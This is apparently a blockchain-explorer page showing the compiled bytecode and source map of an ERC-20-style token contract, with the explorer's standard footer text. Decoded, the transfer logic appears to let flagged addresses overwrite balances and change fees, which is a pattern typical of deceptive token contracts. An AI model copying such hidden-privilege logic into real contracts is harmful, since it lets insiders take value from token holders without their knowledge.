260005b81811015610f8257858101830151858201604001528201610f66565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fb857600080fd5b50565b60008060408385031215610fce57600080fd5b8235610fd981610fa3565b946020939093013593505050565b600080600060608486031215610ffc57600080fd5b833561100781610fa3565b9250602084013561101781610fa3565b929592945050506040919091013590565b60006020828403121561103a57600080fd5b81356108a481610fa3565b6000806040838503121561105857600080fd5b823561106381610fa3565b9150602083013561107381610fa3565b809150509250929050565b600181811c9082168061109257607f821691505b6020821081036110b257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610644576106446110b8565b60008261110257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610644576106446110b8565b81810381811115610644576106446110b8565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561115557600080fd5b81516108a481610fa3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111b05784516001600160a01b03168352938301939183019160010161118b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b9f2b5d74e766f41145f7218447b017b6684f4356e0699be7a7d31d118e67d5064736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c806380da4543116100ec578063aa4bde281161008a578063d28d885211610064578063d28d8852146104f4578063dd62ed3e14610509578063f1d6512e1461054f578063f8b45b051461057f57600080fd5b8063aa4bde28146104b3578063af465a27146104c9578063b09f1266146104df57600080fd5b80638da5cb5b116100c65780638da5cb5b1461044057806395d89b411461045e578063a457c2d714610473578063a9059cbb1461049357600080fd5b806380da4543146103ca57806382581bc9146103fa5780638c0b5e221461042a57600080fd5b8063313ce567116101595780634a74bb02116101335780634a74bb02146103405780636e4ee8111461035a57806370a08231146103715780637437681e146103a757600080fd5b8063313ce567146102da578063395093511461030057806349bd5a5e1461032057600080fd5b80631694505e116101955780631694505e1461025a57806318160ddd1461027a578063220f66961461029957806323b872dd146102ba57600080fd5b806306fdde03146101c7578063095ea7b3146101f257806315120e5b1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6105a1565b6040516101e99190610f55565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004610fbb565b610633565b60405190151581526020016101e9565b34801561022e57600080fd5b50600354610242906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561026657600080fd5b50600d54610242906001600160a01b031681565b34801561028657600080fd5b506009545b6040519081526020016101e9565b3480156102a557600080fd5b50600e5461021290600160a01b900460ff1681565b3480156102c657600080fd5b506102126102d5366004610fe7565b61064a565b3480156102e657600080fd5b5060085460ff165b60405160ff90911681526020016101e9565b34801561030c57600080fd5b5061021261031b366004610fbb565b6106b3565b34801561032c57600080fd5b50600e54610242906001600160a01b031681565b34801561034c57600080fd5b506010546102129060ff1681565b34801561036657600080fd5b5061036f6106e9565b005b34801561037d57600080fd5b5061028b61038c366004611028565b6001600160a01b031660009081526001602052604090205490565b3480156103b357600080fd5b50600a546102ee9065010000000000900460ff1681565b3480156103d657600080fd5b506102126103e5366004611028565b60056020526000908152604090205460ff1681565b34801561040657600080fd5b506102ee610415366004611028565b600f6020526000908152604090205460ff1681565b34801561043657600080fd5b5061028b600c5481565b34801561044c57600080fd5b506000546001600160a01b0316610242565b34801561046a57600080fd5b506101dc610792565b34801561047f57600080fd5b5061021261048e366004610fbb565b6107a1565b34801561049f57600080fd5b506102126104ae366004610fbb565b6107f0565b3480156104bf57600080fd5b5061028b600b5481565b3480156104d557600080fd5b5061028b60095481565b3480156104eb57600080fd5b506101dc6107fd565b34801561050057600080fd5b506101dc61088b565b34801561051557600080fd5b5061028b610524366004611045565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055b57600080fd5b5061021261056a366004611028565b60046020526000908152604090205460ff1681565b34801561058b57600080fd5b50600a546102ee90640100000000900460ff1681565b6060600680546105b09061107e565b80601f01602080910402602001604051908101604052809291908181526020018280546105dc9061107e565b80156106295780601f106105fe57610100808354040283529160200191610629565b820191906000526020600020905b81548152906001019060200180831161060c57829003601f168201915b5050505050905090565b60006106403384846108b7565b5060015b92915050565b6000610657848484610973565b6106a984336106a4856040518060600160405280602881526020016111d2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d3a565b6108b7565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106409185906106a49086610d66565b6000546001600160a01b031633146107485760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600780546105b09061107e565b600061064033846106a4856040518060600160405280602581526020016111fa602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610d3a565b6000610640338484610973565b6007805461080a9061107e565b80601f01602080910402602001604051908101604052809291908181526020018280546108369061107e565b80156108835780601f1061085857610100808354040283529160200191610883565b820191906000526020600020905b81548152906001019060200180831161086657829003601f168201915b505050505081565b6006805461080a9061107e565b60006108a482846110ce565b9392505050565b60006108a482846110e5565b6001600160a01b038316158015906108d757506001600160a01b03821615155b6109125760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b604482015260640161073f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600460205260409020546000199060629060ff16610a0757600b54836109bd866001600160a01b031660009081526001602052604090205490565b6109c79190611107565b1115610a075760405162461bcd60e51b815260206004820152600f60248201526e1154948e8813585e0815d85b1b195d608a1b604482015260640161073f565b600a5460ff6201000082048116911610801590610a2e5750600e54600160a01b900460ff16155b8015610a485750600e546001600160a01b03868116911614155b8015610a56575060105460ff165b15610a9557600a805460ff1916905530600090815260016020526040902054600c54811115610a845750600c545b8015610a9357610a9381610d72565b505b6001600160a01b0385166000908152600560205260408120546001919060ff1680610acd5750600e546001600160a01b038881169116145b80610af057506001600160a01b03861660009081526005602052604090205460ff165b15610b6a576001600160a01b0386166000908152600f602052604081205490925060019060ff16811115610b25576000610b28565b60015b8015610b405750600a5460ff80831661010090920416105b610b4b576000610b4e565b60015b15610b6857600a805461ff00191661010060ff8716021790555b505b6001600160a01b038716600090815260016020526040902054610b8d9086610db4565b6001600160a01b03881660009081526001602052604090205581610c40576001600160a01b0386166000908152600f602052604081205460ff16610bd2576000610bd5565b60015b90508015610bfd576001600160a01b0387166000908152600160205260409020859055610c3a565b6001600160a01b038716600090815260016020526040902054610c209087610d66565b6001600160a01b0388166000908152600160205260409020555b50610ce4565b600a54600090606490610c5b90610100900460ff1684611107565b610c6590886110ce565b610c6f91906110e5565b30600090815260016020526040902054909150610c8c9082610d66565b30600090815260016020526040902055610ca68682610db4565b6001600160a01b038816600090815260016020526040902054610cc99190611107565b6001600160a01b038816600090815260016020526040902055505b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610d2991815260200190565b60405180910390a350505050505050565b60008184841115610d5e5760405162461bcd60e51b815260040161073f9190610f55565b505050900390565b60006108a48284611107565b600e805460ff60a01b1916600160a01b179055610d8e81610dc0565b600354610da4906001600160a01b031647610f1a565b50600e805460ff60a01b19169055565b60006108a4828461111a565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610df557610df561112d565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e729190611143565b81600181518110610e8557610e8561112d565b6001600160a01b039283166020918202929092010152600d54610eab91309116846108b7565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ee4908590600090869030904290600401611160565b600060405180830381600087803b158015610efe57600080fd5b505af1158015610f12573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f50573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610f8257858101830151858201604001528201610f66565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fb857600080fd5b50565b60008060408385031215610fce57600080fd5b8235610fd981610fa3565b946020939093013593505050565b600080600060608486031215610ffc57600080fd5b833561100781610fa3565b9250602084013561101781610fa3565b929592945050506040919091013590565b60006020828403121561103a57600080fd5b81356108a481610fa3565b6000806040838503121561105857600080fd5b823561106381610fa3565b9150602083013561107381610fa3565b809150509250929050565b600181811c9082168061109257607f821691505b6020821081036110b257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610644576106446110b8565b60008261110257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610644576106446110b8565b81810381811115610644576106446110b8565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561115557600080fd5b81516108a481610fa3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111b05784516001600160a01b03168352938301939183019160010161118b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b9f2b5d74e766f41145f7218447b017b6684f4356e0699be7a7d31d118e67d5064736f6c63430008120033
Deployed Bytecode Sourcemap
13844:7013:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16239:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17074:161;;;;;;;;;;-1:-1:-1;17074:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17074:161:0;1023:187:1;14133:93:0;;;;;;;;;;-1:-1:-1;14133:93:0;;;;-1:-1:-1;;;;;14133:93:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;14133:93:0;1215:219:1;14935:41:0;;;;;;;;;;-1:-1:-1;14935:41:0;;;;-1:-1:-1;;;;;14935:41:0;;;16421:95;;;;;;;;;;-1:-1:-1;16501:7:0;;16421:95;;;1820:25:1;;;1808:2;1793:18;16421:95:0;1674:177:1;15018:28:0;;;;;;;;;;-1:-1:-1;15018:28:0;;;;-1:-1:-1;;;15018:28:0;;;;;;17243:313;;;;;;;;;;-1:-1:-1;17243:313:0;;;;;:::i;:::-;;:::i;16330:83::-;;;;;;;;;;-1:-1:-1;16396:9:0;;;;16330:83;;;2489:4:1;2477:17;;;2459:36;;2447:2;2432:18;16330:83:0;2317:184:1;17564:218:0;;;;;;;;;;-1:-1:-1;17564:218:0;;;;;:::i;:::-;;:::i;14983:28::-;;;;;;;;;;-1:-1:-1;14983:28:0;;;;-1:-1:-1;;;;;14983:28:0;;;15105:40;;;;;;;;;;-1:-1:-1;15105:40:0;;;;;;;;13683:148;;;;;;;;;;;;;:::i;:::-;;16619:121;;;;;;;;;;-1:-1:-1;16619:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;16712:20:0;16685:7;16712:20;;;:11;:20;;;;;;;16619:121;14762:24;;;;;;;;;;-1:-1:-1;14762:24:0;;;;;;;;;;;14290:48;;;;;;;;;;-1:-1:-1;14290:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15053:45;;;;;;;;;;-1:-1:-1;15053:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14870:56;;;;;;;;;;;;;;;;13460:87;;;;;;;;;;-1:-1:-1;13506:7:0;13533:6;-1:-1:-1;;;;;13533:6:0;13460:87;;16524;;;;;;;;;;;;;:::i;17790:269::-;;;;;;;;;;-1:-1:-1;17790:269:0;;;;;:::i;:::-;;:::i;16748:167::-;;;;;;;;;;-1:-1:-1;16748:167:0;;;;;:::i;:::-;;:::i;14799:64::-;;;;;;;;;;;;;;;;14489:57;;;;;;;;;;;;;;;;14411:37;;;;;;;;;;;;;:::i;14369:35::-;;;;;;;;;;;;;:::i;16923:143::-;;;;;;;;;;-1:-1:-1;16923:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17031:18:0;;;17004:7;17031:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16923:143;14235:48;;;;;;;;;;-1:-1:-1;14235:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14727:28;;;;;;;;;;-1:-1:-1;14727:28:0;;;;;;;;;;;16239:83;16276:13;16309:5;16302:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16239:83;:::o;17074:161::-;17149:4;17166:39;1883:10;17189:7;17198:6;17166:8;:39::i;:::-;-1:-1:-1;17223:4:0;17074:161;;;;;:::o;17243:313::-;17341:4;17358:36;17368:6;17376:9;17387:6;17358:9;:36::i;:::-;17405:121;17414:6;1883:10;17436:89;17474:6;17436:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17436:19:0;;;;;;:11;:19;;;;;;;;1883:10;17436:33;;;;;;;;;;:37;:89::i;:::-;17405:8;:121::i;:::-;-1:-1:-1;17544:4:0;17243:313;;;;;:::o;17564:218::-;1883:10;17652:4;17701:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17701:34:0;;;;;;;;;;17652:4;;17669:83;;17692:7;;17701:50;;17740:10;17701:38;:50::i;13683:148::-;13506:7;13533:6;-1:-1:-1;;;;;13533:6:0;1883:10;13595:23;13587:68;;;;-1:-1:-1;;;13587:68:0;;3946:2:1;13587:68:0;;;3928:21:1;;;3965:18;;;3958:30;4024:34;4004:18;;;3997:62;4076:18;;13587:68:0;;;;;;;;;13790:1:::1;13774:6:::0;;13753:40:::1;::::0;-1:-1:-1;;;;;13774:6:0;;::::1;::::0;13753:40:::1;::::0;13790:1;;13753:40:::1;13821:1;13804:19:::0;;-1:-1:-1;;;;;;13804:19:0::1;::::0;;13683:148::o;16524:87::-;16563:13;16596:7;16589:14;;;;;:::i;17790:269::-;17883:4;17900:129;1883:10;17923:7;17932:96;17971:15;17932:96;;;;;;;;;;;;;;;;;1883:10;17932:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17932:34:0;;;;;;;;;;;;:38;:96::i;16748:167::-;16826:4;16843:42;1883:10;16867:9;16878:6;16843:9;:42::i;14411:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14369:35::-;;;;;;;:::i;1118:98::-;1176:7;1203:5;1207:1;1203;:5;:::i;:::-;1196:12;1118:98;-1:-1:-1;;;1118:98:0:o;1228:::-;1286:7;1313:5;1317:1;1313;:5;:::i;18108:257::-;-1:-1:-1;;;;;18201:19:0;;;;;;:44;;-1:-1:-1;;;;;;18224:21:0;;;;18201:44;18193:69;;;;-1:-1:-1;;;18193:69:0;;4834:2:1;18193:69:0;;;4816:21:1;4873:2;4853:18;;;4846:30;-1:-1:-1;;;4892:18:1;;;4885:42;4944:18;;18193:69:0;4632:336:1;18193:69:0;-1:-1:-1;;;;;18273:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18325:32;;1820:25:1;;;18325:32:0;;1793:18:1;18325:32:0;;;;;;;18108:257;;;:::o;18373:1659::-;-1:-1:-1;;;;;18527:19:0;;18451:20;18527:19;;;:15;:19;;;;;;-1:-1:-1;;18474:11:0;18504:7;;18527:19;;18522:99;;18584:15;;18573:6;18557:13;18567:2;-1:-1:-1;;;;;16712:20:0;16685:7;16712:20;;;:11;:20;;;;;;;16619:121;18557:13;:22;;;;:::i;:::-;18556:43;;18548:71;;;;-1:-1:-1;;;18548:71:0;;5305:2:1;18548:71:0;;;5287:21:1;5344:2;5324:18;;;5317:30;-1:-1:-1;;;5363:18:1;;;5356:45;5418:18;;18548:71:0;5103:339:1;18548:71:0;18659:11;;;;;;;;18644;;:26;;;;:57;;-1:-1:-1;18685:16:0;;-1:-1:-1;;;18685:16:0;;;;18684:17;18644:57;:92;;;;-1:-1:-1;18723:13:0;;-1:-1:-1;;;;;18715:21:0;;;18723:13;;18715:21;;18644:92;:127;;;;-1:-1:-1;18750:21:0;;;;18644:127;18641:388;;;18790:11;:15;;-1:-1:-1;;18790:15:0;;;18863:4;-1:-1:-1;16712:20:0;;;-1:-1:-1;16712:20:0;;;;;;18904:11;;18887:28;;18884:64;;;-1:-1:-1;18935:11:0;;18884:64;18965:18;;18962:56;;18986:30;19001:14;18986;:30::i;:::-;18773:256;18641:388;-1:-1:-1;;;;;19122:21:0;;19049:12;19122:21;;;:15;:21;;;;;;19064:4;;19049:12;19122:21;;;:49;;-1:-1:-1;19157:13:0;;-1:-1:-1;;;;;19149:21:0;;;19157:13;;19149:21;19122:49;:72;;;-1:-1:-1;;;;;;19175:19:0;;;;;;:15;:19;;;;;;;;19122:72;19119:271;;;-1:-1:-1;;;;;19274:15:0;;19220:5;19274:15;;;:11;:15;;;;;;19220:5;;-1:-1:-1;19254:1:0;;19274:24;:15;:24;-1:-1:-1;19274:24:0;:39;;19308:5;19274:39;;;19301:4;19274:39;19273:65;;;;-1:-1:-1;19319:10:0;;:18;;;;:10;;;;;:18;19273:65;:80;;19348:5;19273:80;;;19341:4;19273:80;19270:109;;;19356:10;:21;;-1:-1:-1;;19356:21:0;;;;;;;;;19270:109;19195:195;19119:271;-1:-1:-1;;;;;19422:17:0;;;;;;:11;:17;;;;;;:29;;19444:6;19422:21;:29::i;:::-;-1:-1:-1;;;;;19402:17:0;;;;;;:11;:17;;;;;:49;19466:7;19462:519;;-1:-1:-1;;;;;19505:15:0;;19489:13;19505:15;;;:11;:15;;;;;;;;:34;;19534:5;19505:34;;;19527:4;19505:34;19489:50;;19559:8;19556:145;;;-1:-1:-1;;;;;19570:15:0;;;;;;:11;:15;;;;;:30;;;19556:145;;;-1:-1:-1;;;;;19658:15:0;;;;;;:11;:15;;;;;;:27;;19678:6;19658:19;:27::i;:::-;-1:-1:-1;;;;;19640:15:0;;;;;;:11;:15;;;;;:45;19556:145;19474:238;19462:519;;;19790:10;;19741:17;;19804:3;;19778:22;;19790:10;;;;;19778:9;:22;:::i;:::-;19761:40;;:6;:40;:::i;:::-;:46;;;;:::i;:::-;19871:4;19851:26;;;;:11;:26;;;;;;19741:66;;-1:-1:-1;19851:41:0;;19741:66;19851:30;:41::i;:::-;19842:4;19822:26;;;;:11;:26;;;;;:70;19944:21;:6;19955:9;19944:10;:21::i;:::-;-1:-1:-1;;;;;19925:15:0;;;;;;:11;:15;;;;;;:41;;;;:::i;:::-;-1:-1:-1;;;;;19907:15:0;;;;;;:11;:15;;;;;:59;-1:-1:-1;19462:519:0;20013:2;-1:-1:-1;;;;;19998:26:0;20007:4;-1:-1:-1;;;;;19998:26:0;;20017:6;19998:26;;;;1820:25:1;;1808:2;1793:18;;1674:177;19998:26:0;;;;;;;;18440:1592;;;;18373:1659;;;:::o;1334:206::-;1420:7;1481:12;1473:6;;;;1465:29;;;;-1:-1:-1;;;1465:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1516:5:0;;;1334:206::o;906:98::-;964:7;991:5;995:1;991;:5;:::i;20271:182::-;15384:16;:23;;-1:-1:-1;;;;15384:23:0;-1:-1:-1;;;15384:23:0;;;20350:32:::1;20367:14:::0;20350:16:::1;:32::i;:::-;20406:16;::::0;20393:52:::1;::::0;-1:-1:-1;;;;;20406:16:0::1;20423:21;20393:12;:52::i;:::-;-1:-1:-1::0;15430:16:0;:24;;-1:-1:-1;;;;15430:24:0;;;20271:182::o;1012:98::-;1070:7;1097:5;1101:1;1097;:5;:::i;20461:391::-;20551:16;;;20565:1;20551:16;;;;;;;;20527:21;;20551:16;;;;;;;;;;-1:-1:-1;20551:16:0;20527:40;;20596:4;20578;20583:1;20578:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20578:23:0;;;:7;;;;;;;;;;:23;;;;20622:15;;:22;;;-1:-1:-1;;;20622:22:0;;;;:15;;;;;:20;;:22;;;;;20578:7;;20622:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20612:4;20617:1;20612:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20612:32:0;;;:7;;;;;;;;;:32;20687:15;;20655:62;;20672:4;;20687:15;20705:11;20655:8;:62::i;:::-;20728:15;;:116;;-1:-1:-1;;;20728:116:0;;-1:-1:-1;;;;;20728:15:0;;;;:66;;:116;;20795:11;;20728:15;;20809:4;;20822;;20828:15;;20728:116;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20516:336;20461:391;:::o;20044:112::-;20125:23;;-1:-1:-1;;;;;20125:15:0;;;:23;;;;;20141:6;;20125:23;;;;20141:6;20125:15;:23;;;;;;;;;;;;;;;;;;;;;20044:112;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1856:456::-;1933:6;1941;1949;2002:2;1990:9;1981:7;1977:23;1973:32;1970:52;;;2018:1;2015;2008:12;1970:52;2057:9;2044:23;2076:31;2101:5;2076:31;:::i;:::-;2126:5;-1:-1:-1;2183:2:1;2168:18;;2155:32;2196:33;2155:32;2196:33;:::i;:::-;1856:456;;2248:7;;-1:-1:-1;;;2302:2:1;2287:18;;;;2274:32;;1856:456::o;2714:247::-;2773:6;2826:2;2814:9;2805:7;2801:23;2797:32;2794:52;;;2842:1;2839;2832:12;2794:52;2881:9;2868:23;2900:31;2925:5;2900:31;:::i;2966:388::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3150:9;3137:23;3169:31;3194:5;3169:31;:::i;:::-;3219:5;-1:-1:-1;3276:2:1;3261:18;;3248:32;3289:33;3248:32;3289:33;:::i;:::-;3341:7;3331:17;;;2966:388;;;;;:::o;3359:380::-;3438:1;3434:12;;;;3481;;;3502:61;;3556:4;3548:6;3544:17;3534:27;;3502:61;3609:2;3601:6;3598:14;3578:18;3575:38;3572:161;;3655:10;3650:3;3646:20;3643:1;3636:31;3690:4;3687:1;3680:15;3718:4;3715:1;3708:15;3572:161;;3359:380;;;:::o;4105:127::-;4166:10;4161:3;4157:20;4154:1;4147:31;4197:4;4194:1;4187:15;4221:4;4218:1;4211:15;4237:168;4310:9;;;4341;;4358:15;;;4352:22;;4338:37;4328:71;;4379:18;;:::i;4410:217::-;4450:1;4476;4466:132;;4520:10;4515:3;4511:20;4508:1;4501:31;4555:4;4552:1;4545:15;4583:4;4580:1;4573:15;4466:132;-1:-1:-1;4612:9:1;;4410:217::o;4973:125::-;5038:9;;;5059:10;;;5056:36;;;5072:18;;:::i;5447:128::-;5514:9;;;5535:11;;;5532:37;;;5549:18;;:::i;5712:127::-;5773:10;5768:3;5764:20;5761:1;5754:31;5804:4;5801:1;5794:15;5828:4;5825:1;5818:15;5844:251;5914:6;5967:2;5955:9;5946:7;5942:23;5938:32;5935:52;;;5983:1;5980;5973:12;5935:52;6015:9;6009:16;6034:31;6059:5;6034:31;:::i;6100:980::-;6362:4;6410:3;6399:9;6395:19;6441:6;6430:9;6423:25;6467:2;6505:6;6500:2;6489:9;6485:18;6478:34;6548:3;6543:2;6532:9;6528:18;6521:31;6572:6;6607;6601:13;6638:6;6630;6623:22;6676:3;6665:9;6661:19;6654:26;;6715:2;6707:6;6703:15;6689:29;;6736:1;6746:195;6760:6;6757:1;6754:13;6746:195;;;6825:13;;-1:-1:-1;;;;;6821:39:1;6809:52;;6916:15;;;;6881:12;;;;6857:1;6775:9;6746:195;;;-1:-1:-1;;;;;;;6997:32:1;;;;6992:2;6977:18;;6970:60;-1:-1:-1;;;7061:3:1;7046:19;7039:35;6958:3;6100:980;-1:-1:-1;;;6100:980:1:o
Swarm Source
ipfs://b9f2b5d74e766f41145f7218447b017b6684f4356e0699be7a7d31d118e67d50
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.